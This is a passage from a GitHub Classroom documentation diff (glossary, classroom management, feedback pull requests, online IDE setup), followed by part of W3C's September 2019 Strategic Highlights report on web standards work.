can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 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W3C Strategic Highlights September 2019 This report was prepared for the September 2019 W3C Advisory Committee Meeting (W3C Member link). See the accompanying W3C Fact Sheet — September 2019. For the previous edition, see the April 2019 W3C Strategic Highlights. For future editions of this report, please consult the latest version. A Chinese translation is available. ☰ Contents Introduction Future Web Standards Meeting Industry Needs Web Payments Digital Publishing Media and Entertainment Web & Telecommunications Real-Time Communications (WebRTC) Web & Networks Automotive Web of Things Strengthening the Core of the Web HTML CSS Fonts SVG Audio Performance Web Performance WebAssembly Testing Browser Testing and Tools WebPlatform Tests Web of Data Web for All Security, Privacy, Identity Internationalization (i18n) Web Accessibility Outreach to the world W3C Developer Relations W3C Training Translations W3C Liaisons Introduction This report highlights recent work of enhancement of the existing landscape of the Web platform and innovation for the growth and strength of the Web. 33 working groups and a dozen interest groups enable W3C to pursue its mission through the creation of Web standards, guidelines, and supporting materials. We track the tremendous work done across the Consortium through homogeneous work-spaces in Github which enables better monitoring and management. We are in the middle of a period where we are chartering numerous working groups which demonstrate the rapid degree of change for the Web platform: After 4 years, we are nearly ready to publish a Payment Request API Proposed Recommendation and we need to soon charter follow-on work. In the last year we chartered the Web Payment Security Interest Group. In the last year we chartered the Web Media Working Group with 7 specifications for next generation Media support on the Web. We have Accessibility Guidelines under W3C Member review which includes Silver, a new approach. We have just launched the Decentralized Identifier Working Group which has tremendous potential because Decentralized Identifier (DID) is an identifier that is globally unique, resolveable with high availability, and cryptographically verifiable. We have Privacy IG (PING) under W3C Member review which strengthens our focus on the tradeoff between privacy and function. We have a new CSS charter under W3C Member review which maps the group's work for the next three years. In this period, W3C and the WHATWG have succesfully completed the negotiation of a Memorandum of Understanding rooted in the mutual belief that that having two distinct specifications claiming to be normative is generally harmful for the Web community. The MOU, signed last May, describes how the two organizations are to collaborate on the development of a single authoritative version of the HTML and DOM specifications. W3C subsequently rechartered the HTML Working Group to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and for the production of W3C Recommendations from WHATWG Review Drafts. As the Web evolves continuously, some groups are looking for ways for specifications to do so as well. So-called "evergreen recommendations" or "living standards" aim to track continuous development (and maintenance) of features, on a feature-by-feature basis, while getting review and patent commitments. We see the maturation and further development of an incredible number of new technologies coming to the Web. Continued progress in many areas demonstrates the vitality of the W3C and the Web community, as the rest of the report illustrates. Future Web Standards W3C has a variety of mechanisms for listening to what the community thinks could become good future Web standards. These include discussions with the Membership, discussions with other standards bodies, the activities of thousands of participants in over 300 community groups, and W3C Workshops. There are lots of good ideas. The W3C strategy team has been identifying promising topics and invites public participation. Future, recent and under consideration Workshops include: Inclusive XR (5-6 November 2019, Seattle, WA, USA) to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive, including to people with disabilities; W3C Workshop on Data Models for Transportation (12-13 September 2019, Palo Alto, CA, USA) W3C Workshop on Web Games (27-28 June 2019, Redmond, WA, USA), view report Second W3C Workshop on the Web of Things (3-5 June 2019, Munich, Germany) W3C Workshop on Web Standardization for Graph Data; Creating Bridges: RDF, Property Graph and SQL (4-6 March 2019, Berlin, Germany), view report Web & Machine Learning. The Strategy Funnel documents the staff's exploration of potential new work at various phases: Exploration and Investigation, Incubation and Evaluation, and eventually to the chartering of a new standards group. The Funnel view is a GitHub Project where new area are issues represented by “cards” which move through the columns, usually from left to right. Most cards start in Exploration and move towards Chartering, or move out of the funnel. Public input is welcome at any stage but particularly once Incubation has begun. This helps W3C identify work that is sufficiently incubated to warrant standardization, to review the ecosystem around the work and indicate interest in participating in its standardization, and then to draft a charter that reflects an appropriate scope. Ongoing feedback can speed up the overall standardization process. Since the previous highlights document, W3C has chartered a number of groups, and started discussion on many more: Newly Chartered or Rechartered Web Application Security WG (03-Apr) Web Payment Security IG (17-Apr) Patent and Standards IG (24-Apr) Web Applications WG (14-May) Web & Networks IG (16-May) Media WG (23-May) Media and Entertainment IG (06-Jun) HTML WG (06-Jun) Decentralized Identifier WG (05-Sep) Extended Privacy IG (PING) (30-Sep) Verifiable Claims WG (30-Sep) Service Workers WG (31-Dec) Dataset Exchange WG (31-Dec) Web of Things Working Group (31-Dec) Web Audio Working Group (31-Dec) Proposed charters / Advance Notice Accessibility Guidelines WG Privacy IG (PING) RDF Literal Direction WG Timed Text WG CSS WG Web Authentication WG Closed Internationalization Tag Set IG Meeting Industry Needs Web Payments All Web Payments specifications W3C's payments standards enable a streamlined checkout experience, enabling a consistent user experience across the Web with lower front end development costs for merchants. Users can store and reuse information and more quickly and accurately complete online transactions. The Web Payments Working Group has republished Payment Request API as a Candidate Recommendation, aiming to publish a Proposed Recommendation in the Fall 2019, and is discussing use cases and features for Payment Request after publication of the 1.0 Recommendation. Browser vendors have been finalizing implementation of features added in the past year (view the implementation report). As work continues on the Payment Handler API and its implementation (currently in Chrome and Edge Canary), one focus in 2019 is to increase adoption in other browsers. Recently, Mastercard demonstrated the use of Payment Request API to carry out EMVCo's Secure Remote Commerce (SRC) protocol whose payment method definition is being developed with active participation by Visa, Mastercard, American Express, and Discover. Payment method availability is a key factor in merchant considerations about adopting Payment Request API. The ability to get uniform adoption of a new payment method such as Secure Remote Commerce (SRC) also depends on the availability of the Payment Handler API in browsers, or of proprietary alternatives. Web Monetization, which the Web Payments Working Group will discuss again at its face-to-face meeting in September, can be used to enable micropayments as an alternative revenue stream to advertising. Since the beginning of 2019, Amazon, Brave Software, JCB, Certus Cybersecurity Solutions and Netflix have joined the Web Payments Working Group. In April, W3C launched the Web Payment Security Group to enable W3C, EMVCo, and the FIDO Alliance to collaborate on a vision for Web payment security and interoperability. Participants will define areas of collaboration and identify gaps between existing technical specifications in order to increase compatibility among different technologies, such as: How do SRC, FIDO, and Payment Request relate? The Payment Services Directive 2 (PSD2) regulations in Europe are scheduled to take effect in September 2019. What is the role of EMVCo, W3C, and FIDO technologies, and what is the current state of readiness for the deadline? How can we improve privacy on the Web at the same time as we meet industry requirements regarding user identity? Digital Publishing All Digital Publishing specifications, Publication milestones The Web is the universal publishing platform. Publishing is increasingly impacted by the Web, and the Web increasingly impacts Publishing. Topic of particular interest to Publishing@W3C include typography and layout, accessibility, usability, portability, distribution, archiving, offline access, print on demand, and reliable cross referencing. And the diverse publishing community represented in the groups consist of the traditional "trade" publishers, ebook reading system manufacturers, but also publishers of audio book, scholarly journals or educational materials, library scientists or browser developers. The Publishing Working Group currently concentrates on Audiobooks which lack a comprehensive standard, thus incurring extra costs and time to publish in this booming market. Active development is ongoing on the future standard: Publication Manifest Audiobook profile for Web Publications Lightweight Packaging Format The BD Comics Manga Community Group, the Synchronized Multimedia for Publications Community Group, the Publishing Community Group and a future group on archival, are companions to the working group where specific work is developed and incubated. The Publishing Community Group is a recently launched incubation channel for Publishing@W3C. The goal of the group is to propose, document, and prototype features broadly related to: publications on the Web reading modes and systems and the user experience of publications The EPUB 3 Community Group has successfully completed the revision of EPUB 3.2. The Publishing Business Group fosters ongoing participation by members of the publishing industry and the overall ecosystem in the development of Web infrastructure to better support the needs of the industry. The Business Group serves as an additional conduit to the Publishing Working Group and several Community Groups for feedback between the publishing ecosystem and W3C. The Publishing BG has played a vital role in fostering and advancing the adoption and continued development of EPUB 3. In particular the BG provided critical support to the update of EPUBCheck to validate EPUB content to the new EPUB 3.2 specification. This resulted in the development, in conjunction with the EPUB3 Community Group, of a new generation of EPUBCheck, i.e., EPUBCheck 4.2 production-ready release. Media and Entertainment All Media specifications The Media and Entertainment vertical tracks media-related topics and features that create immersive experiences for end users. HTML5 brought standard audio and video elements to the Web. Standardization activities since then have aimed at turning the Web into a professional platform fully suitable for the delivery of media content and associated materials, enabling missing features to stream video content on the Web such as adaptive streaming and content protection. Together with Microsoft, Comcast, Netflix and Google, W3C received an Technology & Engineering Emmy Award in April 2019 for standardization of a full TV experience on the Web. Current goals are to: Reinforce core media technologies: Creation of the Media Working Group, to develop media-related specifications incubated in the WICG (e.g. Media Capabilities, Picture-in-picture, Media Session) and maintain maintain/evolve Media Source Extensions (MSE) and Encrypted Media Extensions (EME). Improve support for Media Timed Events: data cues incubation. Enhance color support (HDR, wide gamut), in scope of the CSS WG and in the Color on the Web CG. Reduce fragmentation: Continue annual releases of a common and testable baseline media devices, in scope of the Web Media APIs CG and in collaboration with the CTA WAVE Project. Maintain the Road-map of Media Technologies for the Web which highlights Web technologies that can be used to build media applications and services, as well as known gaps to enable additional use cases. Create the future: Discuss perspectives for Media and Entertainment for the Web. Bring the power of GPUs to the Web (graphics, machine learning, heavy processing), under incubation in the GPU for the Web CG. Transition to a Working Group is under discussion. Determine next steps after the successful W3C Workshop on Web Games of June 2019. View the report. Timed Text The Timed Text Working Group develops and maintains formats used for the representation of text synchronized with other timed media, like audio and video, and notably works on TTML, profiles of TTML, and WebVTT. Recent progress includes: A robust WebVTT implementation report poises the specification for publication as a proposed recommendation. Discussions around re-chartering, notably to add a TTML Profile for Audio Description deliverable to the scope of the group, and clarify that rendering of captions within XR content is also in scope. Immersive Web Hardware that enables Virtual Reality (VR) and Augmented Reality (AR) applications are now broadly available to consumers, offering an immersive computing platform with both new opportunities and challenges. The ability to interact directly with immersive hardware is critical to ensuring that the web is well equipped to operate as a first-class citizen in this environment. The Immersive Web Working Group has been stabilizing the WebXR Device API while the companion Immersive Web Community Group incubates the next series of features identified as key for the future of the Immersive Web. W3C plans a workshop focused on the needs and benefits at the intersection of VR & Accessibility (Inclusive XR), on 5-6 November 2019 in Seattle, WA, USA, to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive. Web & Telecommunications The Web is the Open Platform for Mobile. Telecommunication service providers and network equipment providers have long been critical actors in the deployment of Web technologies. As the Web platform matures, it brings richer and richer capabilities to extend existing services to new users and devices, and propose new and innovative services. Real-Time Communications (WebRTC) All Real-Time Communications specifications WebRTC has reshaped the whole communication landscape by making any connected device a potential communication end-point, bringing audio and video communications anywhere, on any network, vastly expanding the ability of operators to reach their customers. WebRTC serves as the corner-stone of many online communication and collaboration services. The WebRTC Working Group aims to bringing WebRTC 1.0 (and companion specification Media Capture and Streams) to Recommendation by the end of 2019. Intense efforts are focused on testing (supported by a dedicated hackathon at IETF 104) and interoperability. The group is considering pushing features that have not gotten enough traction to separate modules or to a later minor revision of the spec. Beyond WebRTC 1.0, the WebRTC Working Group will focus its efforts on WebRTC NV which the group has started documenting by identifying use cases. Web & Networks Recently launched, in the wake of the May 2018 Web5G workshop, the Web & Networks Interest Group is chaired by representatives from AT&T, China Mobile and Intel, with a goal to explore solutions for web applications to achieve better performance and resource allocation, both on the device and network. The group's first efforts are around use cases, privacy & security requirements and liaisons. Automotive All Automotive specifications To create a rich application ecosystem for vehicles and other devices allowed to connect to the vehicle, the W3C Automotive Working Group is delivering a service specification to expose all common vehicle signals (engine temperature, fuel/charge level, range, tire pressure, speed, etc.) The Vehicle Information Service Specification (VISS), which is a Candidate Recommendation, is seeing more implementations across the industry. It provides the access method to a common data model for all the vehicle signals –presently encapsulating a thousand or so different data elements– and will be growing to accommodate the advances in automotive such as autonomous and driver assist technologies and electrification. The group is already working on a successor to VISS, leveraging the underlying data model and the VIWI submission from Volkswagen, for a more robust means of accessing vehicle signals information and the same paradigm for other automotive needs including location-based services, media, notifications and caching content. The Automotive and Web Platform Business Group acts as an incubator for prospective standards work. One of its task forces is using W3C VISS in performing data sampling and off-boarding the information to the cloud. Access to the wealth of information that W3C's auto signals standard exposes is of interest to regulators, urban planners, insurance companies, auto manufacturers, fleet managers and owners, service providers and others. In addition to components needed for data sampling and edge computing, capturing user and owner consent, information collection methods and handling of data are in scope. The upcoming W3C Workshop on Data Models for Transportation (September 2019) is expected to focus on the need of additional ontologies around transportation space. Web of Things All Web of Things specifications W3C's Web of Things work is designed to bridge disparate technology stacks to allow devices to work together and achieve scale, thus enabling the potential of the Internet of Things by eliminating fragmentation and fostering interoperability. Thing descriptions expressed in JSON-LD cover the behavior, interaction affordances, data schema, security configuration, and protocol bindings. The Web of Things complements existing IoT ecosystems to reduce the cost and risk for suppliers and consumers of applications that create value by combining multiple devices and information services. There are many sectors that will benefit, e.g. smart homes, smart cities, smart industry, smart agriculture, smart healthcare and many more. The Web of Things Working Group is finishing the initial Web of Things standards, with support from the Web of Things Interest Group: Web of Things Architecture Thing Descriptions Strengthening the Core of the Web HTML The HTML Working Group was chartered early June to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and to produce W3C Recommendations from WHATWG Review Drafts. A few days before, W3C and the WHATWG signed a Memorandum of Understanding outlining the agreement to collaborate on the development of a single version of the HTML and DOM specifications. Issues and proposed solutions for HTML and DOM done via the newly rechartered HTML Working Group in the WHATWG repositories The HTML Working Group is targetting November 2019 to bring HTML and DOM to Candidate Recommendations. CSS All CSS specifications CSS is a critical part of the Open Web Platform. The CSS Working Group gathers requirements from two large groups of CSS users: the publishing industry and application developers. Within W3C, those groups are exemplified by the Publishing groups and the Web Platform Working Group. The former requires things like better pagination support and advanced font handling, the latter needs intelligent (and fast!) scrolling and animations. What we know as CSS is actually a collection of almost a hundred specifications, referred to as ‘modules’. The current state of CSS is defined by a snapshot, updated once a year. The group also publishes an index defining every term defined by CSS specifications. Fonts All Fonts specifications The Web Fonts Working Group develops specifications that allow the interoperable deployment of downloadable fonts on the Web, with a focus on Progressive Font Enrichment as well as maintenance of WOFF Recommendations. Recent and ongoing work includes: Early API experiments by Adobe and Monotype have demonstrated the feasibility of a font enrichment API, where a server delivers a font with minimal glyph repertoire and the client can query the full repertoire and request additional subsets on-the-fly. In other experiments, the Brotli compression used in WOFF 2 was extended to support shared dictionaries and patch update. Metrics to quantify improvement are a current hot discussion topic. The group will meet at ATypi 2019 in Japan, to gather requirements from the international typography community. The group will first produce a report summarizing the strengths and weaknesses of each prototype solution by Q2 2020. SVG All SVG specifications SVG is an important and widely-used part of the Open Web Platform. The SVG Working Group focuses on aligning the SVG 2.0 specification with browser implementations, having split the specification into a currently-implemented 2.0 and a forward-looking 2.1. Current activity is on stabilization, increased integration with the Open Web Platform, and test coverage analysis. The Working Group was rechartered in March 2019. A new work item concerns native (non-Web-browser) uses of SVG as a non-interactive, vector graphics format. Audio The Web Audio Working Group was extended to finish its work on the Web Audio API, expecting to publish it as a Recommendation by year end. The specification enables synthesizing audio in the browser. Audio operations are performed with audio nodes, which are linked together to form a modular audio routing graph. Multiple sources — with different types of channel layout — are supported. This modular design provides the flexibility to create complex audio functions with dynamic effects. The first version of Web Audio API is now feature complete and is implemented in all modern browsers. Work has started on the next version, and new features are being incubated in the Audio Community Group. Performance Web Performance All Web Performance specifications There are currently 18 specifications in development in the Web Performance Working Group aiming to provide methods to observe and improve aspects of application performance of user 